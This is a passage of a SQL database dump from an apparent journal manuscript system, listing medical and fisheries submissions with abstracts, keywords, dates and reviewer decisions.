article',0,NULL,NULL,NULL,0,0,0,NULL,0),(8631,9556,326,0,'IPJUS-21-8631','Endometriosis',NULL,5,0,'','Endometriosis is an inscrutable disease that could start at birth. Its pathogenesis is supported by different theories. Accumulating facts relate it to a multigenic disorder. Endometriosis presents three main variations: ovarian endometriomas, deep infiltrating endometriosis, and superficial peritoneal disease. \r\nAccording to Nyholt et al., endometriosis is a “heritable, hormone-dependent gynecological disorder”. In their meta-analysis, they recognized five novel loci associated to the risk of evolving endometriosis. All five are included in sex steroid pathways. There is no dependable serum maker for this disease, and imaging still leaves greatly of it undiagnosed. Ultrasound (US) has a good sensitivity and specificity for endometriomas (83% and 89%, correspondingly). Inappropriately, in the situation of deep infiltrating endometriosis (DIE), uterosacral ligaments, vagina, bladder, and rectovaginal septum, the general pooled sensitivity and specificity of US transvaginal studies (TVSs) range between 53% and 93%.','Endometriosis, ovarian endometriomas, deep infiltrating endometriosis, and superficial peritoneal disease',2505,NULL,'2021-05-22',NULL,'Submitted',2,NULL,'2021-05-25',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(8633,9719,971,0,'ipaclr-21-8633','Retinoids as Potential therapeutic approach in prevention of Alzheimer\'s disease',NULL,15,0,'','Studies revealed that neuroinflammation is main factor in Alzheimer\'s disease pathogenesis (AD). Synaptic dysfunction and neuronal death are caused by neuroinflammation. Pro-inflammatory mediators over expression directed nerve cells to Aβ peptide synthesis, hyper phosphorylated tau protein and up regulated inflammatory metabolites and cytokines. These inflammatory factors interrupt blood-brain barrier integrity and provide Aβ42 oligomers fabrication.  Retinoids and carotenoids are effective antioxidants and anti-inflammatory mediators having neuroprotective effects. They suppress cognitive performance imperfection via several mechanisms such as repression of Aβ peptide synthesis, oxidative stress, and pro-inflammatory mediator’s. Retinoids, have significant consequences on central nervous system (CNS) development. Through this review we consider retinoids biology, underlining on their neuroprotective mechanisms that will beneficial to clarify their effect in AD pathology. Consequently, Retinoids is considered as a potent approach for AD prevention. ','',4009,NULL,'2021-05-23',NULL,'Submitted',4,NULL,'2021-08-05',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(8634,9720,85,0,'iphspr-21-8634',': Rapid sequence adaptation: establishing the first military COVID-19 ward in a large civilian medical center',NULL,14,0,'','Background: Coronavirus disease (COVID-19) challenged health systems worldwide. Even though an early aggressive containment strategy successfully delayed the initial outbreak in Israel, eventually COVID-19 care came at the expense of other patients. To increase the national surge capacity, a COVID-19 facility was established in an underground emergency hospital. Operation of military COVID-19 wards (MCWs) in the facility was assigned to the Israeli Defense Force Medical Corps, which does not operate hospitalization facilities regularly. We hypothesized that military health care providers could be quickly mobilized, trained, and deployed to a civilian facility to operate a MCW.\r\nMethods and findings: To test this hypothesis, we examined the timeline of MCW deployments and conducted a retrospective cohort study comparing patients admitted to the MCW during the first and second deployments. The cohorts were compared in terms of patient characteristics at presentation, in-hospital COVID-19 care and quality of care measures. The MCW admitted its first patient 10 days after the operation was announced and 5 days after it was reopened. 52 and 182 patients were treated during the first and second deployments, respectively. No significant differences in age, sex, time after symptom onset or diagnosis, and COVID-19 severity at presentation were found between deployments. A significantly higher proportion of patients treated during the second deployment were vaccinated (p=0.03). No significant differences were found in maximal respiratory support, the use of Dexamethasone or anticoagulation. The use of Remdesivir on the other hand, was significantly less prevalent in the second deployment (p<0.0001). No significant differences in length of stay, discharge destination or mortality were found between deployments.\r\nConclusions: Opening the MCW increased the national surge capacity within days, thereby relieving the overextended national healthcare system. The only differences found between deployments reflected external changes in vaccine availability and standard of care. The MCW proved to be an agile strategy in mitigating unpredictable surges in health care demand.  ','COVID-19, military, surge capacity',3242,NULL,'2021-05-23',NULL,'Submitted',2,NULL,'2021-09-29',NULL,1,1,'1','                                                                ',0,'','',NULL,0,0,0,NULL,0),(8638,9724,73,0,'ipjnn-21-8638','Ruptured infective (mycotic) intracranial aneurysm secondary to bacterial meningitis: A case report and review of literature',NULL,2,0,'','Mycotic aneurysm (MA), a rare complication of systemic infections, is a result of degradation and dilation of the arterial wall. Etiology can be due to endovascular seeding of infective emboli (e.g. infective endocarditis, bacteremia) or extravascular spread of infection (e.g. meningitis, osteomyelitis, orbital cellulitis). Infective intracranial aneurysms (IIA) are extremely rare and account for a small fraction of all intracranial aneurysms. Most IIA are caused by bacterial or fungal infections. IIA has a higher risk of rupture as compared to other aneurysms due to their rapid progression  and increased vessel fragility. Diagnosis is mostly based on clinical history and neurovascular imaging. Medical management and endovascular intervention can be considered the first-line treatment for unruptured IIA. Open surgery is done in cases of complications or failed endovascular intervention. A case of suspected ruptured IIA secondary to bacterial meningitis is discussed in detail along with a review of the literature. Certain proposals on diagnosis, management, and complication have been put forth.','intracranial aneurysm, bacterial meningitis, mycotic aneurysm',334,NULL,'2021-05-24',NULL,'Submitted',2,NULL,'2021-09-03',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(8660,9734,86,0,'ipaom-21-8660','Neonatal  and Maternal outcomes in Pregnant Women with Rheumatoid Arthritis',NULL,14,0,'','Background: Rheumatoid arthritis, is an autoimmune and inflammatory disease, mainly attacks the joints, usually many joints at once, and organs such as the lungs, heart, and eyes. The course of rheumatoid arthritis often changes during pregnancy.\r\n\r\nObjective \r\nThe aim of the study was to assess whether  pregnant women with rheumatoid arthritis and her baby are at high risk for adverse outcomes.\r\n\r\nMethods: This a case-control study was conducted at the Duhok Obstetrics and Gynecology Teaching Hospital  and Kurdistan Private Hospital in Iraqi Kurdistan between March 2016 and November 2020. The study included seventy-two pregnant women, they were divided into two groups ;study group or (Rheumatoid arthritis group) and control group or (Non-Rheumatoid arthritis group).Both groups were compared regarding a baseline characteristics and maternal with neonatal outcomes. The data were statistically analyzed using a software package,  current versions IBM (SPSS) Statistic\r\n\r\nResults: During the study period, from March 2016 and November 2020, Thirty-two pregnant women had RA were compared with the control group included 40 pregnant women who had not the disease group. .There was significant difference between both groups regarding the female age .Pregnant women who had RA had lower parity and a higher number of pregnancy loss as well as  more likely to smoke. The RA group was highly significant had a history of a previous cesarean delivery ,and history of co-morbidities.Neonates of mothers who had RA commonly had small for gestational age and preterm  babies. \r\n\r\nConclusions: Pregnant women with RA are associated with a higher risk of adverse maternal and neonatal outcomes, and she regarded as a high-risk pregnancy.\r\n\r\n','Keywords:  Rheumatoid arthritis, Maternal outcomes, Preeclampsia, preterm birth.',4108,NULL,'2021-05-24',NULL,'Submitted',4,NULL,'2021-08-17',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(8696,9715,639,0,'ipfs-21-8696','Editorial note on fisheries',NULL,5,0,'','Journal of FisheriesSciences.com is an Open Access Journal that publishes peer-reviewed articles which cover all aspects of fisheries sciences, including fishing technology, fisheries management, sea foods, aquatic (both freshwater and marine) systems, aquaculture systems and health management, aquatic food resources from freshwater, brackish and marine environments and their boundaries, including the impact of human activities on these systems. As the specified areas inevitably impinge on and interrelate with each other. It is a multidisciplinary journal and authors are encouraged to emphasize the relevance of their own work on other disciplines.\r\n Review processing is performed by the editorial board members of the Journal or outside experts; at least one independent reviewer’s approval followed by editor approval is required for acceptance of any citable manuscript. Authors can track their progress through the system. Reviewers can download manuscripts and submit their opinions to the editor. Editors can manage the whole submission/review/revise/publish process.','fish,prawn',1770,NULL,'2021-05-26',NULL,'Submitted',2,NULL,'2021-07-02',NULL,1,1,'1','the article is good',0,NULL,NULL,NULL,0,0,0,NULL,0),(8700,9772,85,0,'iphspr-21-8700','Description of Health informatics and applications',NULL,3,0,'','Clinical informatics is the crossing point of data science, software engineering, and medical services. This field manages the assets, gadgets, and techniques needed to upgrade the obtaining, stockpiling, recovery, and utilization of data in wellbeing and biomedicine. \r\nThis program covers the multidisciplinary field of informatics, choice emotionally supportive networks, telemedicine, morals, purchaser wellbeing informatics, worldwide medical services frameworks, worldwide wellbeing informatics, translational examination informatics, and home consideration. ','supportive networks, telemedicine, morals, purchaser wellbeing informatics',4068,NULL,'2021-05-26',NULL,'Submitted',4,NULL,'2021-07-06',NULL,1,1,'1','                               ',0,'','',NULL,0,0,0,NULL,0),(8703,9774,85,0,'iphspr-21-8703','Prominent Global Health Issues',NULL,3,0,'','Most specialists will disclose to you avoidance is critical to dealing with your own wellbeing and prosperity. In any case, what amount can an individual truly do to address the fundamental reasons for sickness or ailment? Solid eating routine and exercise just go up until this point, and numerous different elements lie outside the extent of individual control. \r\nThis restricted capacity to control our own wellbeing shows the requirement for a more noteworthy comprehension of wellbeing and health. World wellbeing patterns highlight the impacts of a globalized economy, propels in transportation, and changes to agrarian practices and how they have made medical care issues rise above worldwide boundaries. Specialists can presently don\'t zero in solely on their nearby networks when infections from across the world can undoubtedly wind up in their old neighborhood centers. \r\n','',3413,NULL,'2021-05-26',NULL,'Submitted',2,NULL,'2021-07-06',NULL,1,1,'1','                            ',0,'','',NULL,0,0,0,NULL,0),(8704,9775,45,0,'iphsj-21-8704','COVID 19 infection as a cause of COPD exacerbation in a vaccinated patient',NULL,9,0,'','\r\nAccording to a largest systematic review, COPD is a significant risk factor for hospitalization, ICU admission and mortality in patients with COVID-19. Despite of governmental and public health measures, COVID-19 infections continue to spread, suggesting that effective vaccines and antiviral drugs are required to curtail disease and end the pandemic. According to British Thoracic Society patients with severe COPD are considered Clinically Extremely Vulnerable and should receive COVID-19 vaccine. We present case of COPD exacerbation after BNT162b2 vaccine which has not been described in the available literature so far. In our case patient had severe form of COPD exacerbation after vaccination, which required hospitalization and the non-invasive ventilation but without intubation and radiology verified pneumonia. Neverthless, this case of fully Pfizer’s BNT162b2 vaccinated COPD patient with severe COPD exacerbation and positive rapid SARS-CoV-2 antigen test suggests that while vaccination may decrease the risk of severe respiratory distress and mortality in COPD patients, these patients may still be susceptible to COPD exacerbations caused by SARS-CoV-2 infections.','',4825,NULL,'2021-05-26',NULL,'Submitted',2,NULL,'2021-06-09',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(8705,9777,277,0,'ipadm-21-8705','TROMBOCITOPENIA AGUDA SEVERA ASOCIADA AL USO DE TIROFIBAN POSTERIOR A INTERVENCIÓN CORONARIA PERCUTÁNEA: A PROPÓSITO DE UN CASO',NULL,2,0,'','La terapia antiplaquetaria en el manejo de paciente con enfermedad coronaria ha cambiado en los últimos años, ya que se han introducido al mercado fármacos nuevos y más potentes como los inhibidores de la glicoproteína IIB/IIIA que se utilizan por hemodinamistas en aquellos pacientes con alta carga trombótica, sin embargo, estos medicamentos no son inocuos y se pueden presentar eventos adversos asociados a los mismos, el tirofiban no es la excepción a la regla. En el siguiente reporte se comenta el caso de un paciente sin antecedentes de patología hematológica, no plaquetopenia previa, quien ingresa a sala de hemodinamia por síndrome coronario crónico con indicación de angioplastia, hemograma de ingreso con plaquetas en rango de normalidad, después de 12 horas de infusión con tirofiban en control de hemograma plaquetopenia severa con score 4T para HIT (Trombocitopenia inducida por heparina) de baja probabilidad.','Tirofiban\r\nAntiplaquetario \r\nTrombocitopenia ',2805,NULL,'2021-05-26',NULL,'Submitted',2,NULL,'2021-07-07',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(8707,9778,277,0,'ipadm-21-8707',' TOXICIDAD RENAL POR TENOFOVIR: A PROPÓSITO DE UN CASO. ',NULL,2,0,'','El tenofovir es un medicamento antirretroviral inhibidor de la transcriptasa inversa, que cuenta con gran efectividad, lo que se traduce en un aumento en las cifras de uso para pacientes con VIH (Virus de inmunodeficiencia humana) (1). Pero, a pesar de tener un historial de seguridad bastante amplio y de ser un medicamento relativamente seguro y libre de eventos adversos, se han descrito en la literatura casos de falla renal aguda y tubulopatías secundarias al uso de este antirretroviral (ARV); siendo de mayor riesgo si existe un antecedente de insuficiencia renal previa en los pacientes seropositivos o cuando se emplea concomitantemente con inhibidores de la proteasa. (2). Por ello, se describe el siguiente caso clínico de un paciente de sexo masculino de 27 años de edad con diagnóstico final de nefropatía secundaria a la ingesta de tenofovir y atazanavir, de forma concomitante','Tenofovir, vih, toxicidad, (DeCS)',2805,NULL,'2021-05-26',NULL,'Submitted',2,NULL,'2021-07-17',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(8729,9795,73,0,'ipjnn-21-8729','Incidence of Skeletal Muscle Injury with SARS-CoV-2 Infection in Tertiary Care Hospitals in Qatar.',NULL,14,0,'','Abstract:\r\nBackground: SARS-Cov2 can contribute to a number of neurological manifestations. 19.3% of patients with severe COVID-19 had evidence of marked skeletal muscle injury and 13.7% of patients with COVID-19 have high CK levels. \r\nMethodology: We retrospectively analyzed 413 COVID-19 patients. We reviewed electronic medical records and collected data. Skeletal muscle injury was defined as skeletal muscle pain and elevated serum creatine kinase level. The primary objective to determine the incidence of skeletal muscle injury in COVID-19 patients.\r\nResults: The most common risk factors were hypertension diabetes and obesity and neurological symptoms at onset of illness were myalgia. Multiorgan systems involvement including 47.8% had skeletal muscle injury, 15.7% had rhabdomyolysis, 36.7% had acute kidney injury, 27.5% had acute liver injury, 23.9% had acute myocardial injury.\r\nDiscussion: In addition to respiratory system involvement, other extrapulmonary multiorgan systems involvement including skeletal muscle injury, acute kidney injury, acute liver injury, acute myocardial injury, rhabdomyolysis, acute heart failure, acute pancreatitis and post ICU critical illness neuromyopathy. SARS-CoV-2 may direct invade skeletal muscle, hematogenous dissemination, immune-mediated skeletal muscles injury and inflammatory response with cytokine storm may lead to pathological changes in skeletal muscle tissue including muscle fiber proteolysis and fibrosis. \r\nConclusions: Skeletal muscles injury with COVID-19 patients manifest as myalgia, generalized fatigue, myositis, rhabdomyolysis, dermatomyositis-like interferonopathy 1, immune-mediated necrotizing myopathy and respiratory failure. Further studies are requiring with focus on long term outcomes of skeletal muscles injury and benefits of using post covid rehabilitation programs.\r\n','Keywords: SARS-Cov2, MERS, ACE2, CK, Rhabdomyolysis, myositis.\r\n',4854,NULL,'2021-05-27',NULL,'Submitted',2,NULL,'2021-07-16',NULL,1,1,'1','The article entitled \"Incidence of Skeletal Muscle Injury with SARS-CoV-2 Infection in Tertiary Care Hospitals in Qatar\" is a research article which explain the relationship between UA and acute ischemic stroke and subtypes. And found that high UA levels were seen as an independent risk factor for stroke. Determination of UA as an etiological factor responsible for the pathogenesis of vascular diseases including stroke may also bring the treatment of hyperuricemia such as hyperlipidemia or hypertension, which are routinely treated after stroke. With proper tables the author explain it very nicely. I suggest a small change i.e. the formatting, reference arrangement and grammar after that this article can publish',0,'','',NULL,0,0,0,NULL,0),(8738,9715,639,0,'ipfs-21-8738','EDOTORIAL NOTE ON COLD WATER FISHERIESv',NULL,5,0,'','The diverse natural resource-base, wide climatic diversity of the cold water sector harbour plentiful gene pool which are conducive to conservation and rearing for developing domestic market, aquaculture and growing interest of people in fish farming, ornamental fish keeping and eco-tourism including angling. However, emerging anthropogenic pressure, flow regimes of streams, and climate change are adversely affecting coldwater resources and their fisheries; lead to reduce overall productivity. Nevertheless, technology developed for the culture, breeding and management of the economically viable cold water fish species has a positive impact on the production and productivity, employment generation and sustainable management of the aquatic resources and their piscine fauna.','fish',1770,NULL,'2021-05-28',NULL,'Submitted',2,NULL,'2021-06-11',NULL,1,1,'1','   ',0,NULL,NULL,NULL,0,0,0,NULL,0),(8742,9806,86,0,'ipaom-21-8742','DIGITAL MEDICINE SYSTEM: IMPACT OF RISING TECHNOLOGY',NULL,15,0,'','Digital Pills (DP) are an innovative drug-device technology that permits to combine traditional medications with a monitoring system to record data about medication adherence as well as patients’ physiological data without human intervention. The digital medicine system (DMS), a drug–device combination developed for patients with serious mental illness, together combines adherence measurement with pharmacologic action by placing an ingestible sensor in a pill, allowing for information sharing among patients, health care providers (HCPs), and caregivers via a mobile interface. Non-adherence to medication compromises the helpfulness of psychiatric treatments in patients with serious mental illness (SMI). The combination of wearable technology with a “digital ingestion tracking program” (DITP) embedded within a pain pill may allow patients, caregivers as well as healthcare providers to track ingestion of pills through the web or a Smartphone app. Digital adherence technology could be promising patient-centered strategies for monitoring adherence. In November 2017, the Food and Drug Administration (FDA) approved a version of a second-generation antipsychotic, aripiprazole; embedded with a sensor (Abilify MyCite). The paper highlights the impact of DMS and provides detailed review about it!','DMS- Digital Medicine System, Aripiprazole (Abilify Mycite), adherence',2890,NULL,'2021-05-28',NULL,'Submitted',2,NULL,'2021-06-14',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(8752,9814,975,0,'ipjbs-21-8752','Gingival displacement techniques in fixed prosthodontics: A Review',NULL,15,2,'','Gingival retraction is the temporary displacement of the gingival tissue away from the tooth that helps to register the prepared abutments and finish lines accurately. This article discusses the current methods for displacement of gingival tissues and analyses their merits and demerits.','Gingival retraction, gingival displacement, gingiva, finish margins, hemostatic agents',3677,NULL,'2021-05-29',NULL,'Submitted',19,NULL,'2021-06-15',NULL,1,1,'0',NULL,0,'','',NULL,0,4,0,NULL,0),(8753,9715,639,0,'ipfs-21-8753',' Editorial note on Common carp',NULL,5,0,'','The carp was a luxury food in the middle and late Roman period, and it was consumed during fasting in the middle Ages. The fish were kept in storage ponds (\'piscinae\') by the Romans, and later in fish ponds constructed by Christian monasteries. In this European practice the carp were kept in monoculture. The largest individuals were selected as broodfish. From, the 12th to the mid-14th century A.D. unintentional artificial selection had taken place, the first steps towards domestication. Controlled semi-natural pond breeding and fry rearing of carp started in the 19th century in Europe. Cyprinids have been reared in China for more than 2 000 years, where they were kept in undrainable ponds. The ponds were stocked regularly with fry from rivers. Natural food-based polycultural rearing technology was applied. Semi-domesticated carp races have developed in this system. Domesticated carps have been produced in most of the carp rearing areas recently. There are about 30-35 strains of domesticated common carps in Europe. Many strains are maintained in China. There are some Indonesian carp strains, which have not been scientifically examined and identified so far.','fish',1770,NULL,'2021-05-29',NULL,'Submitted',2,NULL,'2021-06-11',NULL,1,1,'0','accepted the article',0,NULL,NULL,NULL,0,0,0,NULL,0),(8766,9821,45,0,'iphsj-21-8766','Assessment of total serum IgE level and associated factors among asthmatic patients at university of Gondar hospital, Gondar, North West Ethiopia',NULL,14,0,'','Background: Asthma is a chronic respiratory disorder having both genetic and environmental underlying risk factors. Immunoglobulin E (IgE) is known to play a critical role in asthma pathogenesis and has also main function in immune response to parasites such as helminths. In this research, we aimed to assess total serum IgE level and associated factors among asthmatic patients at the University of Gondar Hospital, Gondar, North West Ethiopia. Method: A comparative cross-sectional study was conducted from June to August 2019 at the University of Gondar Hospital among asthmatic patients. A structured questionnaire was used to collect socio-demographic characteristics of patients. Venous blood was collected from asthmatic patients to determine total IgE and cholesterol levels. A stool examination was also done among the patients. Stored serum sample from blood donors was used as control. Data was analyzed using SPSS version 20. ANOVA, Kruskal Wallis test, spearman’s correlation, chi-square, and binary logistic regressions were used in data analysis. P-value ≤ 0.05 was considered statistically significant. Results: A total of 88 study subjects were included. The geometric mean of total IgE level was 366.6 ± 5.4 IU/ml and 52.2 ± 3.6 IU/ml for patients and controls respectively (p < 0.001). The geometric mean total IgE levels of patients with positive and negative helminth infection were 1282.9 ± 3.6 IU/ml and 294.4 ± 5.6 IU/ml respectively (p= 0.237). The geometric mean total IgE level for moderate-severe groups of asthmatics was 367.4 ± 5.6 IU/ml and intermittent-mild groups were 321.2 ± 5.4 IU/ml (p = 0.803). The association of cholesterol level and total IgE level among patients was found to be negative and non-significant (with an odds ratio of 0.995 and 95% confidence interval (CI) of 0.982-1.009) (p = 0.507). Conclusion: This study showed significantly higher total IgE levels in asthmatics than controls. Hence, assessment of total IgE level in asthmatics is a direct measurement of airway inflammation and estimation of total IgE level should be included in routine practice. Non-significant differences and associations were found between total IgE levels and associated factors among patients.','Total serum IgE, asthma, helminth infection, asthma severity, cholesterol level',685,NULL,'2021-05-29',NULL,'Submitted',2,NULL,'2021-07-12',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(8771,9827,277,0,NULL,'COVID-19: A Mini Review',NULL,25,0,'','In December of 2019, in Wuhan, Hubei (China) began Coronavirus disease 2019 caused by the SARS-CoV-2 virus. Individuals positive for the virus present with the following symptoms: fever, cough, dyspnoea, sputum, rhinorrhoea, sore throat, headache, diarrhoea, nausea/vomiting, and myalgia. Unlike SARS-CoV, SARS-CoV-2 has a lower mortality rate. Although dozens of drugs have been shown to be effective against SARS-CoV-2 in vitro, only a few have been used clinically. ','covid19, treatment, SARS-CoV-2',2707,NULL,'2021-05-30',NULL,'Submitted',12,NULL,'2022-09-20',NULL,1,0,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(8783,9456,86,0,'ipaom-21-8783','Fungal Infection Affecting Coronavirus Patients: Mucormycosis',NULL,5,0,'','There is increase in cases because of mucormycosis in people with coronavirus disease 2019 (COVID-19). Especially in patients with Diabetes mellitus','mucormycosis',3386,NULL,'2021-05-31',NULL,'Submitted',2,NULL,'2021-06-01',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(8789,9840,45,0,'iphsj-21-8789','Intestinal parasitic infection among pregnant women in Ethiopia: A systematic Review and Meta-analysis',NULL,15,0,'','Background: Intestinal parasites (IP) are responsible for morbidity of about 450 million people worldwide. Women of reproductive age in developing countries are disproportionately affected by IP. If left untreated, IP infection during pregnancy will persist throughout the period of pregnancy influencing the fetal immune system and other health related consequences. The aim of this review was to determine the pooled prevalence IP among pregnant women in Ethiopia. \r\nMethods: Databases including MEDLINE, PubMed, Cochrane Library, Google Scholar, HINARI and reference lists of previous prevalence were systematically searched for relevant with no time limit. Results were presented in a forest plot, tables, and figures with a 95% confidence interval (CI).\r\nResults: The estimated pooled prevalence of IP among pregnant women in Ethiopia is 31.75% (95% CI: 22.20-41.30). Pooled prevalence of IP from Amhara, Oromia, South Ethiopia, Tigray, and Gambella was 31.72 % (95% CI: 16.35-47.10), 29.04% (95% CI; 14.09-43.99), 29.48% (95% CI: 18.27-40.70), 29.29% (7.96-50.61), and 26.39% (21.84-30.94) respectively. A pooled prevalence of 53.43 %( 30.19-76.68) for studies conducted in the community. The most predominant parasite was Hookworm (11.46%) followed by A. lumbricoides (10.44%).\r\nConclusion: The pooled prevalence of IP among pregnant women in Ethiopia is high. The prevalence varies across regions, study period, and study settings. Hookworm and A. lumburicoides are the most prevalence IPs. \r\n',' Pooled prevalence, Intestinal parasite, pregnant women, Ethiopia\r\n',685,NULL,'2021-06-01',NULL,'Submitted',2,NULL,'2021-06-28',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(8797,9848,326,0,'IPJUS-21-8797','Developing a multimodal curriculum for teaching enhanced view Total Extra-Peritoneal (eTEP)',NULL,12,0,'','Background\r\nEnhanced-view Total Extra-Peritoneal (eTEP) inguinal hernia repair is considered a technically demanding procedure with a steep learning curve\r\nAim Examine the ability of residents to independently perform laparoscopic eTEP following a multimodal curriculum course. \r\nMethods Prospective analysis of eTEP procedures performed by residents between March 2018 and September 2020. Six residents dispersed into 3 groups - Group A: two junior residents, Group B: two mid-level residents and Group C: two Senior residents. The course comprised of theoretical and practical stages regarding eTEP in 5 steps. Data reviewed for each procedure included the time of each step, total time and autonomy degree as assessment for every step: 1st degree- dependent (physical assistance), 2nd degree- partially dependent (vocal assistance) and 3rd degree-independent. Early and late procedures were divided at 50% of cases.\r\nResults Participants performed 44 procedures (220 steps). Late procedures presented with a significant improvement in all degrees of autonomy (1st degree p=0.002, 2nd degree p=0.007 and 3rd degree p<0.0001) and in every step (Step 1 p=0.015, Step 2 p=0.006, Step 3 p<0.0001, Step 4 p<0.0001, Step 5 p=0.002). There was no significant difference in surgery duration between early and late procedures (p=0.32). At early procedures junior residents needed significantly higher rates of physical intervention (1st degree) compared to the senior residents (p=0.004). Conversely, there was no significant difference in 2nd degree of autonomy (p=0.46), 3rd degree (p=0.06) and surgery duration (p=0.16). The last 3 procedures performed by all participants had no significant difference between the seniority groups in autonomy (1st degree p=0.1, 2nd degree p=0.18 and 3rd degree p=0.1).\r\nConclusion A multimodal curriculum course is effective in achieving competence, autonomy and confidence in performing eTEP in a short time. This method of training reduces the learning curve of laparoscopic inguinal hernia repair.','eTEP; TEP; laparoscopic inguinal hernia repair; surgical training;',2505,NULL,'2021-06-02',NULL,'Submitted',2,NULL,'2023-12-08',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(8807,9666,86,0,'ipaom-23-8807','Prevalence and risk factors of asthma in KSA',NULL,15,3,'','In this review article, Google and Pup Med websites were used to search for published papers on asthma prevalence and risk factors in KSA 2000-2012, 17 papers were included, almost 2/3 of studies took more than 500 samples, most age range taken were children and teenagers, almost all included both genders, 12 of them included the cities of Jeddah and Riyadh. Results: The highest prevalence was in Taif 40.16% in adults and the lowest was in Asir (at a high altitude) 6.9% in adults and teenagers. The risk factors found were, family history of atopy, other atopic diseases, having pets or animals at home, pollution like nearby brick factories, and passive smoking. Food sensitivity and some categories of food were discovered to be related to asthma. Skin prick test showed that house dust mites are the most significantly related to asthma among substances used such as pollens and animal dander. Iron deficiency anemia and obstructive sleep apnea were found to be related to asthma.','asthma, prevalence, risk factors, KSA, Saudi Arabia, family history, atopy, pets, pollution, Skin prick test, house dust mites.',3411,NULL,'2021-06-02',NULL,'Submitted',2,NULL,'2023-11-13',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(8830,9871,277,0,NULL,'Changes in the Oncology Field during COVID-19 Pandemic',NULL,25,1,'Artículo DE REVISIÓN sobre coVID-19','BACKGROUND: COVID-19 could affect clinical trials because avoidance of close contact between people constitutes one of the approaches that have been recommended to ensure that individuals do not become exposed to the coronavirus.\r\n\r\nOBJECTIVES: To discuss the impact of COVID-19 on clinical trials within the pharmaceutical industry. In addition, the paper examines some strategies that can be adopted to cope with impact of COVID-19 on clinical trials and thus ability to continue conducting the trials.  \r\n\r\nMETHODS: This is a narrative review article. We provided a synthesis of current literature and guidelines obtained from searches on many electronic databases (PubMed/Medline, EMBASE, and Cochrane Library), Google search engine, the United States (US) Food and Drug Administration (FDA) website, and hand searches on the bibliography of the articles. \r\n\r\nRESULTS: There is a significant impact of COVID-19 on clinical trials. The impact includes: undermining sponsors’ economic ability to fund clinical trials, social distancing, impeding recruitment of participants for non-COVID-19 clinical trials, discouraging participants from visiting clinical sites due to fear of COVID-19 infections, and making trial staff to opt for remote working. The US FDA published new guidelines to be applied during the ongoing pandemic. Mitigation strategies to ensure continuity of clinical trials include: adopting participant enabling measures, modifying clinical trial protocol, providing logistical and supply chain management support, embracing remote data review and clinical site monitoring, and offering extra site support services. \r\n\r\nCONCLUSIONS: COVID-19 pandemic is disrupting the initiation and continuing ongoing clinical trials. Guidelines have to be followed and strategies for mitigating adverse impacts of COVID-19 need to be applied. Modifying monitoring methods should be done to accommodate the constraints posed by the ongoing COVID-19 pandemic.','coronavirus, COVID, SARS, clinical trial, guidance, guideline, recommendation, mitigation. ',2707,NULL,'2021-06-05',NULL,'Submitted',18,NULL,NULL,NULL,1,0,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(8836,9877,971,0,'ipaclr-21-8836','STUDY IN THE WILLINGNESS TO ACCEPT COVID-19 VACCINE AMONG HEALTHCARE WORKERS IN GOMBE, NORTH-EAST, NIGERIA',NULL,13,0,'','Background: The speed up of COVID-19 vaccine development has raised public anxieties and could compromise acceptance. The aim of this study was to appraise the level of willingness to accept COVID-19 vaccine among healthcare workers in Gombe and the objectives was to assess the knowledge toward COVID-19 and the level of willingness of healthcare workers in Gombe to accept COVID-19 vaccine, and to determine factors that influence vaccination willingness.\r\nMaterials and Methods: This was a cross-sectional study conducted among 234 healthcare workers. The data were collected using self-administered questionnaire and were analysed using SPSS version 23 at univariate, bivariate and multivariate levels. A P-value of <0.05 was considered to be statistically significant. \r\nResults: Mean age of respondents was 35.6±7years. Those who are aged 31 - 45years constitute about three-fifth (60.6%) of the study population. Of the total studied participates, 128(60.1%) were male and 150(70.4%) were married. About two-fifth of the participants were nurses. 54.9% of the participants worked in tertiary health facility while more than half (52.6) had worked for than 10 years. Majority (99.1%) of the participants had good knowledge of COVID-19while two-third (65.7%) of the healthcare workers are willing to accept COVID-19 vaccine. Professional cadre, years of experience and the type of health facilities remain significant predicators of willingness to accept COVID-19 vaccine among the healthcare workers (P< 0.05). \r\nConclusion: In this study,profession cadre, years of experience and the type of healthcare facility influence vaccination willingness among healthcare workers in Gombe.','COVID-19, vaccine, willingness, worker, acceptance\r\n',4710,NULL,'2021-06-06',NULL,'Submitted',4,NULL,'2021-09-20',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(8837,9878,277,0,'ipadm-21-8837','SÍNDROME CORONARIO AGUDO SECUNDARIO A ENFERMEDAD DEL TRONCO CORONARIO IZQUIERDO',NULL,15,0,'','Antecedentes: La Enfermedad Obstructiva de Tronco Coronario Izquierdo (OTCI) es una grave afección cardiovascular debida, generalmente, a la aterosclerosis, es la más seria y la de peor pronóstico, ya que suple entre el 70 y 100% de la sangre del corazón\\r\\nEl síndrome coronario agudo (SCA) es muy amplio e incluye desde la parada cardiaca, la inestabilidad eléctrica o hemodinámica con shock cardiogénico causado por isquemia o complicaciones mecánicas, hasta pacientes cuyo dolor torácico ya ha desaparecido cuando llegan al hospital\\r\\nMetodología: Se realizó una revisión narrativa a través de diversas bases de datos de enero de 2015 a mayo del 2021; la búsqueda y selección de artículos fue llevada a cabo en revistas indexadas en idioma inglés. Se utilizaron como palabras clave: síndrome coronario agudo, enfermedad del tronco, enfermedad obstructiva del tronco izquierdo, “la pulgada de dios”\\r\\nResultados: El síndrome coronario agudo (SICA) secundario a la complicación de la placa ateromatosa a nivel del tronco coronario, es raro y se asocia con una alta morbimortalidad. Los pacientes con esta enfermedad tratados médicamente tienen una tasa de mortalidad que alcanza el 50% en los siguientes 3 años. En la mayoría de los casos, la lesión se localiza en la porción distal\\r\\nConclusiones: La presente 